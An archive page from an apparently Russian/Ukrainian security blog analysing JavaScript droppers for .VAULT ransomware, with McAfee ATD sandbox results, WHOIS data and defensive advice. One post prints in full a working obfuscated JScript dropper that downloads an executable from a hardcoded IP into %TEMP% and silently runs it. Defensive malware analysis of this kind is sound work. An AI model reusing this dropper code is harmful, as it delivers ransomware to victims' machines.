Archive | November 2015

McAfee ATD vs .VAULT

vault_js_ATD

Эффективность “песочницы” McAfee ATD на примере противодействия средствам доставки криптолокеров.

В последнее время опять активизировались как случайные так и целевые рассылки с новыми образцами криптолокеров. Как я уже писал ранее, теперь злоумышленники для обхода систем защиты используют в качестве dropper`ов обфусцированный js. Во всем этом есть даже маленький элемент соц. инженерии – чтобы жертва кликала на вложении активнее, js скрипты имеют название вида “Акт Сверки_ХХХХ“, “Рабочие документы_ХХХХ“, “Resume_%name%” и т.д. При чем, в ряде случаев в названии использовались имена компаний-подрядчиков, с которыми компания-жертва поддерживала деловые отношения. Согласитесь, это пока не персонализированный фишинг основанный на OSINT, но ведь все еще впереди. Тем более, что кликают и так отменно, как в ГОС структурах так и в коммерческих компаниях.

Давайте рассмотрим результаты автоматического анализа трех крайних семплов. Детальные отчеты в формате PDF прилагаются.

Тип угрозы: .VAULT

Класс: Ransomaware

Канал доставки: Фишинг

Особенности: js, компактный размер

Результаты анализа resume.js_summary (PDF 40 KB):

resume1

Как видим, сканирование заняло 43 секунды, из которых 28 потребовалось для клонирования тестовой ВМ. Т.е. четкий однозначный результат оператор системы безопасности получил в автоматическом режиме меньше чем за минуту. При этом, по моей просьбе, проверка по сигнатурам и облаку не проводилась. Проверялось именно поведение “резюме”.  ATD выдало семплу 5 ть балов опасности по пятибальной шкале. Смотрим за что:

resume_2

ATD сразу обратил внимание на то, что это файл класса js. Индикаторами опасности в данном случае послужили: установление сетевого соединения и загрузка исполняемого кода.

Стоит обратить внимание, что механизм “песочницы” тоже совершенствуется, чтобы не отставать в этой “гонке вооружений”. Так, функционал проверки js был добавлен в ATD при обновлении до версии 3.4.8 еще в июле этого года, когда новые образцы еще не получили такого массового распространения. Яркий пример развития решения и как результат упреждения угроз:

With this release, following file types are also supported for static and dynamic analysis. .cab, .java
script, .bat, .cmd and .vbs.

Давайте же посмотрим, а откуда загружался основной модуль?

resume_3

Вот так наш загадочный кусок кода:

httDLZCEGHQTDBr”/*eWHggwxvhxLyVfWYHyyObaEAx*/.replace(“tDLZCEGHQTDBr”,”tp://”);
YqTmIx(eWHggwxvhx + “46.30”+”.43.183/sy”+”ria.”+”e”+”x”+”e”, “144157771.exe“, 1);

Превращается в ссылку вида:

46.30.43.183/SYRIA.EXE

Скрипт загружает этот исполняемый модуль и сохраняет его по пути %TEMP% с именем 144157771.exe

Если копнуть глубже и посмотреть на данные IP адреса, где размещается файловый сервер злоумышленников:

WHOIS : 46.30.43.183
inetnum: 46.30.43.0 – 46.30.43.255
netname: EUROBYTE-NET
remarks: INFRA-AW
descr: Eurobyte VPS
country: RU
role: EuroByte LLC
address: 42 Lyublinskaya str
address: 109387 Moscow
address: RU
remarks: EuroByte contacts

Оставлю этот момент без комментариев.

Важно другое – ATD является эффективной контрмерой для борьбы с тем, что принято называть целевыми атаками (APT) и различными типами угроз, которые используют комбинацию 0-day уязвимостей и соц. инженерии. Ransomware это лишь частный пример, который я выбрал, потому, что многие заказчики задают вопрос: “Как мы можем избежать потери своих данных и простоев в работе?“.

###

Следующий образец:

Тип угрозы: .REVAULT

Класс: Ransomaware

Канал доставки: Фишинг

Особенности: js, двойное расширение файла

Результаты анализа sample2.js_summary (PDF 42 KB):

sample2_1sample2_2

Данный семпл отличается от т.н. резюме чуть большим объемом кода (3,6 КБ против 2КБ). И сам C&C расположен на другом сервере. Зато при запуске данного семла четко прослеживается загрузка шифрующего модуля в %TEMP%. Запомните этот момент, я к нему еще вернусь. Если взглянуть на данные регистрации домена, видно что тут подошли с фантазией и денег не пожалели не только за имя домена но еще и за сервис сокрытия информации о владельце (WhoisGuard):

revault.me
Domain Name:REVAULT.ME
Domain Create Date:23-Oct-2015 19:43:32 UTC
Domain Last Updated Date:28-Oct-2015 10:32:13 UTC
Domain Expiration Date:23-Oct-2016 19:43:32 UTC
Registrant ID:QFB4RJG41541YA03
Registrant Name:WhoisGuard Protected
Registrant Organization:WhoisGuard, Inc.
Registrant Address:P.O. Box 0823-03411
Registrant Address2:
Registrant Address3:
Registrant City:Panama
Registrant State/Province:Panama

###

Ну и напоследок давайте рассмотрим версию, которая была предшественником первых двух. Я говорю так не только потому, что это один из первых семплов, которые мне удалось добыть “в полях”, но еще и потому, что размер его существенно выше (~ 170KB) да и “шуму” он производит больше нежели первых два примера.

Следующий образец:

Тип угрозы: .VAULT_RC

Класс: Ransomaware

Канал доставки: Фишинг

Особенности: js, умная начинка

Результаты анализа sample1.js_summary (PDF 70 KB):

sample1_1sample1_2

Ба, да тут количество кода компенсируется наличием антиотладочных механизмов, которые тем не менее, не помешали ATD выполнить анализ. Тут основным индикатором опасности послужил не JS, а инжект в системные процессы. Кроме того, данный модуль самодостаточен, в отличие от двух первых, код основной части у него внутри. И не смотря на столь угрожающую начинку, Modus Operandi (образ действия) тот же – записать .exe в %TEMP% и запустить. Я считаю, что не смотря на в чем-то более совершенный подход, в угоду компактности и универсальности, в последующих версиях эта умная начинка была выброшена в угоду уменьшения веса приманки, а сами файлы стали размещать на C&C. Так умнее, потому, что если payload внутри, то код статичен и рано или поздно его контрольные суммы как и куски кода будут “засвечены”, а пустой js дроппер, который имеет лишь ссылку на dns имя C&C имеет больше шансов на выживание – во-первых C&C можно переместить, а во вторых по ссылке может загружаться измененный код. Время покажет был я прав или нет.

Надеюсь небольшой экскурс во внутренностях вымогателей пришелся читателю по душе.

###

Общие рекомендации по контрмерам (на основе вышеизложенного):

  1. Наличие резервных копий, особенно если вы пока не обзавелись таким мощным инструментом как ATD;
  2. Жесткий фильтр вложений входящей почты (чтобы js до пользователя даже не долетал);
  3. Правильные настройки защиты на уровне конечных точек (либо HIPS, либо блокировка запуска .js и .exe из %TEMP%) – между прочим, самое простое, но от того не менее действенное решение;
  4. Использование McAfee ATD позволит компании защититься как от мутирующего кода Ransomware в частности, так и от широкого спектра угроз, особенно в первые часы распространения, когда ни один движок из 56-ти по вирустоталу ничего не знают о семпле.
  5. Сотрудникам ИБ подразделений обязательно проведение разъяснительных бесед с персоналом на тему “нельзя просто так клацать на все, что попало”.

Ну и в качестве бонуса, если кому интересны мои мысли как попытка аналитики происходящего прошу:

PS

Индустрия Ransomware демонстрирует активное развитие и серьезные объемы монетизации. Если вспомнить с чего все начиналось, то сложно поверить, что в начале пути мы имели дело с относительно “безобидным” WinLock, которого продвинутые пользователи могли обезвредить самостоятельно, и который к тому же просил не в пример меньше денег чем его “наследники”. Все изменилось, когда злоумышленники освоили “правильную” (надежную) криптографию. Я имею ввиду AES, RSA и эллиптические кривые вместо банального XOR со сдвигом. Так началась эра т.н. вымогателей-шифровальщиков. Согласитесь, есть изрядная доля иронии в том, что алгоритмы призванные в первую очередь защищать пользовательскую информацию от НСД стали эксплуатироваться для вымогательства денег. Мы получили CryptoLocker и его производные (CTB-Locker, CryptoWall etc). Суммы выкупа поползли вверх. Это дало толчок к развитию технической составляющей: C&C переехали в “теневую” зону Сети (TOR, I2P), средства доставки (о которых шла речь в данной заметке) стали совершенствоваться, а сам процесс отъема честно заработанных сделали максимально комфортным для пользователя – вот тебе инструкция на нескольких языках, а вот тебе учетная запись в личном кабинете и вот онлайн-поддержка. И ведь они (злоумышленники) своего добились. Многие жертвы идут на сотрудничество, т.к. бэкапы делать не приучены, настройки антивируса “by default”, а зашифрованная информация в 99% случаев была в единственном экземпляре. И если домашний пользователь еще может смириться с утерей медиа контента, то в случае заражения компьютеров на предприятии альтернатив почти нет. Этим вымогатели и пользуются. Без ключей получить файлы обратно можно только тупым перебором, а это даже с учетом облачных мощностей несколько лет. К чему я это? Спрос, как известно, рождает предложение. Чем больше жертв будут сотрудничать, тем активнее будет развиваться данная отрасль. Сами “семплы” будут эволюционировать. Они уже это делают: вначале это был .SCR в архивной “обертке”, потом .EXE в MS Word “обертке” либо с двойным расширением, теперь своеобразным трендом является использование Java Script. Дальше будет что-то новое. А кроме того, список поддерживаемых платформ будет расширяться. Стоит задуматься и стать осторожнее.

По поводу платформ:

10.09.15 – New Android ransomware locks out victims by changing lock screen PIN, $500

09.11.15 – New encryption ransomware targets Linux systems, $500

Про вымогатель на андроиде я уже писал в одном из своих дайджестов. А вот про ransomware для Linux – это на моей памяти “первая ласточка”. И пуская он не идеален и требует запуска от имени root. Но, но во-первых, мы все очень хорошо знаем как некоторые админы любят сидеть под root`ом, а во-вторых, это ведь только начало, дальше будет интересней ;)

Во общем, будьте осторожны и внимательны при использовании высоких технологий.

PPS

Если в современной “гонке вооружений” (а-ля антивирус против ransomware) мы будем полагаться только на сигнатурный анализ – всегда будет фрейм (задержка) между т.н. “нулевым пациентом” (первым зараженным) и сигнатурами. Другими словами – для сигнатурного анализа всегда будет “люфт” по времени, в течении которого антивирус Х не будет обнаруживать угрозу. Т.е. задержка будет составалять где-то +/- от 2-5 часов до суток (пока образец свежей версии вируса не попадет аналитикам в руки). Я сейчас пишу это без привязки к какому-бы-то ни было вендору/продукту. Это мое личное наблюдение/мой скромный опыт. Понимание этого факта приводит к тому, что проблему ransomware нужно решать комплексно, с привлечением как технических контрмер так и административных мероприятий.

Повторюсь:

  • наличие резервных копий;
  • жесткие фильтры вложений;
  • анализ поведения/блокирование опасных действий на конечных точках (запрет запуска .exe и скриптов из %TEMP% как один из примеров);
  • проведение профилактических бесед с сотрудниками;
  • использование механизмов динамического анализа кода

VR

чого варті 37 рядків коду?

js_2KB

Продовження теми про js dropper для VAULT ransomware. Моя колекція вірусів нещодавно поповнилася новим семплом. Знайомтесь – новий зразок розсилається під виглядом резюме:

Good afternoon!!! my name is John Doe. my resume is doc file.

Feel free to contact us for further information.

Best regards

John Doe

Не важко здогадатися, що в аттачі зовсім не резюме і зовсім не Word`івський документ ;)

Що ж ми маємо: на одній шальці терезів 37 рядків (якихось 2КБ коду), а на іншій – ~ 10 тисяч гривень* за відновлення доступу до зашифрованих файлів. Що, важко повірити? А між тим це реальність. Як бачите, простіше може бути лише ярлик або прямий лінк на payload.

* з надійних джерел стало відомо, що фіксованої такси немає, ціна визначається для кожної системи окремо (аналіз файлів та параметрів машини?). Така собі своєрідна реалізація “персонального підходу” до жертви з боку зловмисників. Наведена цифра – це сума викупу, який озвучили зловмисники для однаєї організації, чий бухгалтер став жертвою даного вірусу.

Якщо згадати, то ще кілька місяців тому ми мали справу з таким:

Акт_сверкиА тепер крім .EXE та .SCR треба блокувати ще й .JS, причому зверніть увагу – розрахунок дуже тонкий, адже навіть при великому бажанні адміна порізати .JS через GPO – на бухгалтерських машинах це майже нереально (привіт клієнт-банкам та іншим самописним додаткам).

Спостерігаючи за еволюцією вірусів-вимагачів, на думку приходять такі рядки:

“Ладно, ладно…” – пробормотал  Румата,  отложил письмо, снова взял конверт и с интересом его  оглядел.  Да,  тоньше  стали работать. Заметно тоньше.
(с) Трудно быть Богом, Аркадий и Борис Стругацкие

Про всяк випадок наведу лістинг скрипта:

(function (KoKcft) {
function aVWQhsstSqoZ(eADQHj)
{
return new KoKcft.ActiveXObject(eADQHj)
}
var mDvRCsgLRzmtGfG = true, dmEbqVHBYRJe = “DB.Stream”;
var YqTmIx;
YqTmIx = function (KaKFcDYJbvIm, NSBmPWZ, oTnbrilP) {
var IAaGpH = aVWQhsstSqoZ(“WScript”+(1354969, “.Shell”));
var PzbgqWmYaoNrjPC = aVWQhsstSqoZ(“MSXML2.XMLHTTP”);
var pKFrVxTqQrQu = “%TEMP%\\”;
var NSBmPWZ = IAaGpH.ExpandEnvironmentStrings(pKFrVxTqQrQu) + NSBmPWZ;
PzbgqWmYaoNrjPC.onreadystatechange = function ()
{
if (PzbgqWmYaoNrjPC.readyState == 4)
{
mDvRCsgLRzmtGfG = false;
with(aVWQhsstSqoZ(“ADO” + dmEbqVHBYRJe))
{
open();
type = 1;
write(PzbgqWmYaoNrjPC.ResponseBody);
saveToFile(NSBmPWZ, 2);
close();
return NSBmPWZ;
}
}
}
PzbgqWmYaoNrjPC.open(“G” + (3630489, 4593171, “ET”), KaKFcDYJbvIm, false);
PzbgqWmYaoNrjPC.send();
while (mDvRCsgLRzmtGfG) {KoKcft.WScript.Sleep(1000)}
if (((new Date())>0,1069))
IAaGpH.Run(NSBmPWZ, 0, 0);
}
eWHggwxvhx = “httDLZCEGHQTDBr”/*eWHggwxvhxLyVfWYHyyObaEAx*/.replace(“tDLZCEGHQTDBr”,”tp://”);
YqTmIx(eWHggwxvhx + “46.30”+”.43.183/sy”+”ria.”+”e”+”x”+”e”, “144157771.exe“, 1);
})(this)/*990234507307480333455052203452*/

Тут замість base64 просто застосували concatenation для маскування URL. Алгоритм доволі примітивний – завантажити .EXE у каталог %TEMP% і запустити. Але ж це лише початок.

Адже будуть знаходитись компанії, в яких завчасно не подбали ні про захист, ні про бекапи. І будуть платити викуп. А це буде стимулювати галузь.

На жаль, я вже відстежую непоодинокі випадки зараження. І далі буде тільки гірше, бо код буде вдосконалюватися, а люди… Людську недбалість важко “пропатчити”, цим і користуються зловмисники, практикуючи соц. інжиніринг.

Самое дорогое на свете — глупость, потому что за неё дороже всего приходится платить.

(с) Место встречи изменить нельзя

# # #

Будьте обережними і уважними.

Не поспішайте відкривати/запускати приєднання з листів – два кліки можуть насправді дорого коштувати.

Правила здорового глузду шукайте у попередньому дописі.

VR

[Увага!] Правила безпечної роботи з email

the only easy day was yesterday (с) U.S. Navy SEAL

Або як не підхопити черговий різновид вірусу, котрий шифрує файли.

Останнім часом знов активізувалися віруси, що шифрують файли і вимагають гроші за їх розшифровку, себто різновид ransomware/cryptoware. І якщо на початку року це були .SCR або .EXE в обгортці архівного чи MS Word файлу, то тепер це java script. Використання JS дозволяє зловмисникам значно зменшити розмір принади (dropper), так приміром, один із семплів “важить” усього 4Кб:

ransom2

Modus operandi (метод дії) далеко не новий, але у поєднанні із базовими елементами соціальної інженерії його вистачає для того, щоб спровокувати жертву запустити скрипт. Як тільки скрипт запущено далі спрацьовує звична схема: в фоні завантажується основна частина, яка займається пошуком та шифруванням файлів. Після того, як процес завершено жертві дають інструкції як сплатити викуп через TOR мережу.

Важливі моменти:

  • віруси розповсюджуються через цільові розсилки (фішинг);
  • назви приєднань спеціально підібрані (Акт Сверки, документы..);
  • сервери, з яких довантажується основний payload – РФ;
  • в обгортці js команди пропущені через примітивний base64 (для обфускації);

base64

  • не потребує привілеїв Адміністратора.

Варто зазначити, що отримані семпли, навіть через 24/48 годин після першого випадку зараження мають досить низький рейт на VirusTotal. Зловмисникам достатньо буде замінити base64 на більш досконалий алгоритм і це автоматично змінює контрольну суму, що для більшості простих АВ означатиме пропуск свіжої версії. (Тут треба розуміти, що перед нами дууже спрощений механізм, мені наприклад стає моторошно, коли я подумаю, що трапиться, якщо автори доберуться приміром до Veil-Evasion і навчаться ним користуватися.)

Ті семпли, що потрапили мені до рук розпаковують своє основне тіло (payload) у каталог %temp%, а значить мої поради стосовно користувацьких AccessProtection Rules варто актуалізувати – для захисту від js-ransomware потрібно створити правило, яке б  блокувало створення та запуск .exe файлів у каталозі %temp%. Таким чином ми позбавляємося ризику того, що новий вид або версія js ще не потрапили у бази чи хмару антивірусного захисту.

Фактично, така собі “еволюція” онлайн здирництва – результат успішної монетизації попередніх атак. В умовах, коли більшість користувачів тупо відкривають і запускають усе, що їм надходить на пошту, у ІБ фахівців фактично є лише три сценарії:

  • блокувати запускні приєднання при отриманні пошти, до того, як лист потрапить на очі користувачу;
  • блокувати створення та запуск скриптів чи .exe файлів з каталогів TEMP;
  • використовувати засоби статичного та динамічного аналізу коду.

Кожен із вищезгаданих методів має як свої переваги так і недоліки. В кінцевому результаті, усе залежатиме від вартості та унікальності інформації, яку замовник може втратити. Без сумніву, компанії, що покладаються лише на простий АВ скан по сигнатурам – приречені. Подбайте про захист щоби не стати черговою жертвою. Варто розуміти, що атак менше не стане, навпаки – будуть з’являтися усе нові й нові різновиди. А враховуючи монетизацію і продаж готових конструкторів таких “шифрувальщиків-вимагачів” – для їх запуску зловмиснику не потрібно розбиратися в коді js. Враховуйте цей фактор.

# # #

Менше з тим, через брак часу розгорнутий аналіз цих зразків наведу трохи пізніше – як тільки отримаю результати з “пісочниці” McAfee ATD.

Натомість хотілося би ще раз нагадати читачам правила здорового глузду:

І. поради для пересічних користувачів:

  1. Не відкривайте приєднання від невідомих адресатів, або людей, яким ви не довіряєте. Взагалі. Я цілком серйозно.;
  2. Якщо ви отримали файл із підозрілою назвою від людини, з якою спілкуєтеся по роботі – не соромтеся перепитати її (“Що ти мені надіслав?“);
  3. Якщо вам по роботі усе ж таки потрібно працювати з підозрілими приєднаннями – в жодному разі не переглядайте вміст приєднання безпосередньо у поштовому клієнті/вікні Web-пошти (ОС спробує розпакувати вміст приєднання у тимчасовий каталог і запустити його, не варто цього робити одразу) *Це правило також стосується відображення PDF у вікні бравзера;
  4. Натомість, завантажте приєднання в окремий каталог, але не поспішайте запускати/відкривати(!);
  5. Проскануйте приєднання (швидше за все це буде архівний файл) антивірусом. Пам’ятайте – якщо ваш антивірус нічого підозрілого не знайшов – це ще не привід радіти;
  6. Після сканування АВ, не залежно від його результатів, уважно дійзнайтеся реальне розширення файлу – якщо розширення подвійне типу: документ.js.pdf або документ.exe.doc, тоді це вірус. *На цьому кроці вам допоможе зміна параметрів відображення файлів у стандартному Explorer або альтернативний файловий менеджер типу FAR;
  7. Якщо ви впевнені у тому, що файл не містить конфіденційної інформації (персональні дані, фінансові розрахунки) – завантажте його для перевірки на портал virustotal.com. Якщо хоча би 1-2 антивіруси виявлять загрозу – це вже привід не відкривати цей файл;
  8. Якщо хоча би по одному з вищенаведених пунктів виникає підозра – зверніться до вашого Адміністратора і попросіть його перевірити файл.

ІІ. поради для ІБ-ентузіастів:

  1. Бажано мати під рукою тестову ВМ із Windows яку можна використовувати у якості полігону. Усе що треба – VirualBox (або ваш улюблений гіпервізор) та ліцензійний образ ОС. Сенс у тому, щоби усі підозрілі файли запускати всередині ВМ і відстежувати поведінку запущеного файлу інструментами Марка Руссиновича: Process Explorer + Process Monitor.
  2. Користуйтеся засобами перевірки документів MS Office, PDF перелік за посиланням.

ІІІ. Поради для ІТ/ІБ фахівців:

  1. перш за все – проведіть бесіду з вашими працівниками, поясніть їм ризики і наслідки інфікування ransomware, продемонструйте на тестовій ВМ результат роботи вірусу. Тут усе просто – якщо люди не будуть усвідомлювати небезпеки втрати важливої інформації – жодні технічні а тим більше адміністративні заходи не будуть ефективними;
  2. перевірте статус резервного копіювання критичних серверів та робочих станцій користувачів. чия інформація обробляється та зберігається у єдиному екземплярі;
  3. засобами поштового серверу або шлюзу електронної пошти (приміром McAfee Email Gateway) блокуйте приєднання що містять такі типи файлів: .exe, .com, .bat., .js, .scr;
  4. на рівні робочих станцій/серверів подбайте про наявність АВ-захисту, при чому не покладайтеся лише на сигнатурний аналіз – якщо ваш АВ має функціонал блокування потенційно небезпечних дій (наприклад у McAfee VSE / ENS10 це т.з. AccessProtection Rules) активуйте їх, щоби антивірус міг блокувати запуск такі речі як запуск .exe та скриптів із каталогів TEMP;
  5. якщо ви переймаєтеся захистом від цільових атак із використанням соціального каналу + 0day вразливостей, раджу звернути увагу на McAfee ATD, принципи роботи якої я розглядав на прикладі вівісекції CTB-Locker.

Наразі у мене все.

Будьте пильними та уважними при роботі з електронною поштою.

Чекайте на детальний аналіз і результати аналізів з ATD.

VR